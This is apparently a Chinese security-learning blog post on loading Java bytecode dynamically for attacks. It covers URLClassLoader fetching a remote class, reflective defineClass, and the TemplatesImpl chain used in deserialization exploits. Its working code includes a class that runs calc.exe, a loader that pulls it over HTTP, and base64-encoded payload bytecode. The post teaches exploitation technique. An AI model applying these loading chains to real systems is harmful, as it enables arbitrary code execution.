Java动态加载字节码
本文最后更新于 6 天前,其中的信息可能已经有所发展或是发生改变。

Java字节码

java字节码其实仅仅指的事java虚拟机执行使用的一类指令,通常被存储在.class文件中

他是java程序编译后生成的一种中间表示形式,是介于机器码和源代码之间的可移植指令集,因为java程序执行不依赖具体操作系统或硬件架构,而是通过JVM来解释执行或编译的

你甚至可以使用kotlin等等非java的语言编写程序,只要你的编译器能将其编译成.class文件,他们都可以在JVM上运行

因此广义来说,所有能够恢复成一个类并且在JVM虚拟机里加载的字节序列,都在我们的探讨范围内

这里贴一张P神的图

利用URLClassLoader加载远程class文件

ClassLoader是来用来加载字节码文件最基础的方法

对于ClassLoader,它是java的一个核心类,用于动态加载到JVM中,实现了类的延迟加载和类的灵活加载机制,在java中,他负责

  • 找到.class文件
  • 将其加载到JVM中
  • 将字节码转换成Java类的Class对象

在此我们研究ClassLoader: URLClassLoader

URLClassLoader就是java提供的一个非常常用的类加载器,可以通过URL来动态加载类或jar包中的类,他作为ClassLoader的一个子类

正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这 些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

  • URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻 找.class文件
  • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻 找.class文件
  • URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

一般而言,我们开发的时候都是用的前两者,而如果出现非file协议的情况,比如http协议,我们就会使用Loader来寻找类

我们来构造一个恶意类

package URLClassEx;

public class Cale {
      public static void main(String[] args) {
          try {
              Runtime.getRuntime().exec("calc.exe");
          } catch (Exception e) {
              e.printStackTrace();
          }
      }
  }

本地编译好.class文件,然后我们起一个服务

python -m http.server 8000

写一个受害者端加载远程恶意类的代码

package URLClassEx;

import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class URLLoader {
  public static void main(String[] args) throws Exception {
      // 攻击者的HTTP地址
      URL url = new URL("http://127.0.0.1:8000/");
      URLClassLoader classLoader = new URLClassLoader(new URL[]{url});

      // 加载类
      Class<?> clazz = classLoader.loadClass("URLClassEx.Cale");

      // 调用 main 方法(或构造方法)
      Method mainMethod = clazz.getMethod("main", String[].class);
      mainMethod.invoke(null, (Object) new String[]{});
  }
}

所以作为攻击者,如果我们可以控制javaClassLoader的基础路径作为一个http服务器,就可以利用远程加载的方式执行任意代码

利用defineClass直接加载字节码

不管是加 载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用:

  • loadClass的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行findClass
  • findClass的作用是根据基础URL指定的方式来加载类的字节码,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
  • defineClass的作用是处理前面传入的字节码,将其处理成真正的java类

可见核心部分就是defineClass,他决定了如何将一段字节流转变成一个java类,java默认的ClassLoader#defineClass是一个native方法,其逻辑在JVM的C语言代码中,由于其是一个受保护属性,我们需要反射去调用他

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;

public class defineClass {
  public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
      Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
      defineClass.setAccessible(true);

      byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
      Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
      hello.newInstance();

  }
}

1. 类加载与初始化的时机

在 Java 中,类的加载(通过 defineClass 等方式)并不会立即初始化类。只有当类的构造方法被显式调用时,类才会被初始化。初始化包括执行 静态代码块static 块)和为静态字段赋值。

2. defineClass 加载类

defineClass 只负责将字节码加载到 JVM 中,并为该类创建一个 Class 对象。它不会自动执行类的初始化代码(如静态代码块、静态字段初始化)

在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造 函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中(在本系列文章第一篇 中进行过说明),在 defineClass 时也无法被直接调用到

但是在实际中我们很少能利用到他

利用TemplatesImpl加载字节码

defineClass过于底层,一般的开发者也用不到它,不过Java的一些类还是用到了它,那就是TemplatesImpl

其中Templateslmpl,定义了TransletClassLoader,而它重写了defineClass

 static final class TransletClassLoader extends ClassLoader {
      private final Map<String, Class<?>> _loadedExternalExtensionFunctions;

        TransletClassLoader(ClassLoader parent) {
            super(parent);
          _loadedExternalExtensionFunctions = null;
      }

      TransletClassLoader(ClassLoader parent, Map<String, Class<?>> mapEF) {
          super(parent);
          _loadedExternalExtensionFunctions = mapEF;
      }

      @Override
      public Class<?> loadClass(String name) throws ClassNotFoundException {
          Class<?> ret = null;
          // The _loadedExternalExtensionFunctions will be empty when the
          // SecurityManager is not set and the FSP is turned off
          if (_loadedExternalExtensionFunctions != null) {
              ret = _loadedExternalExtensionFunctions.get(name);
          }
          if (ret == null) {
              ret = super.loadClass(name);
          }
          return ret;
        }

      /**
        * Access to final protected superclass member from outer class.
        */
      Class<?> defineClass(final byte[] b) {
          return defineClass(null, b, 0, b.length);
      }

没有定义域,所以从父类protected变成了default,可以被实现了该接口的类或者子类调用,我们回溯调用链,可以看到

通过回跟,这里TemplatesImpl#defineTransletClasses(),但是是private的,继续跟

这里getTransletClasses()调用了defineTransletClasses(),但依旧是一个private,继续跟

在这看到public的new TransFormer调用了getTransletlnstance,可以在外部被调用

所以链子就是

TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> 
TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()

写一个Dome

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;


import java.lang.reflect.Field;
import java.util.Base64;

public class dsa1 {
  public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, Value);
  }

  public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
      byte[] code = Base64.getDecoder().decode("yv66vgAAADQAMgoACgAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMHACQHACUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAJgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAY8aW5pdD4BAAMoKVYBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACMBAApTb3VyY2VGaWxlAQAIYXNkLmphdmEMABIAEwcAJwwAKAApAQATSGVsbG8gVGVtcGxhdGVzSW1wbAcAKgwAKwAsBwAtDAAuAC8BAAhjYWxjLmV4ZQwAMAAxAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAD29yZy9leGFtcGxlL2FzZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAAEAAEACwAMAAIADQAAABkAAAADAAAAAbEAAAABAA4AAAAGAAEAAAAKAA8AAAAEAAEAEAABAAsAEQACAA0AAAAZAAAABAAAAAGxAAAAAQAOAAAABgABAAAADAAPAAAABAABABAAAQASABMAAQANAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEADgAAAA4AAwAAAA4ABAAPAAwAEAAIABQAEwABAA0AAABDAAIAAQAAAA64AAUSBrYAB1enAARLsQABAAAACQAMAAgAAgAOAAAADgADAAAAEwAJABQADQAVABUAAAAHAAJMBwAWAAABABcAAAACABg=");
      TemplatesImpl obj = new TemplatesImpl();
      setFieldValue(obj, "_bytecodes", new byte[][]{code});
      setFieldValue(obj, "_name", "HelloTemplatesImpl");
      setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
      obj.newTransformer();
  }
}

解释,其中setFieldValue方法用来设置私有属性,这里设置了三个属性_bytecodes_name_tfactory

_bytecodes 是由字节码组成的数组;_name可以是任意字符串,只要不为null即可;_tfactory需要是一个 TransformerFactoryImpl 对象,因为TemplatesImpl#defineTransletClasses()方法里有调用到 _tfactory.getExternalExtensionsMap() ,如果是null会出错

TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须 是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类 所以需要构造一个特殊类

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class asd extends AbstractTranslet {
  public void transform(DOM document, SerializationHandler[] handlers)
          throws TransletException {}
  public void transform(DOM document, DTMAxisIterator iterator,
                        SerializationHandler handler) throws TransletException {}
  public asd() {
      super();
      System.out.println("Hello TemplatesImpl");
  }
  static {
      try {
          Runtime.getRuntime().exec("calc.exe");
      } catch (Exception e) {}
  }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇